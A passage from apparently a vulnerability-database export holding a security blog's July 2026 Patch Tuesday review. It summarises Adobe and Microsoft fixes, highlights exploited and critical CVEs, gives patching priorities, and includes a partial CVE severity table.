info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:22.930689Z"}, {"uuid": "b34d136e-1849-421f-9688-fdbe43c1934a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/CEB9a3fsP7fSaxevWc1FrPk_BMOnlKevVAjnT4jZ0NlsXCc", "content": "", "creation_timestamp": "2026-08-21T00:00:19.772871Z"}, {"uuid": "513f6ac4-840a-43d4-ba91-092fa991fe95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  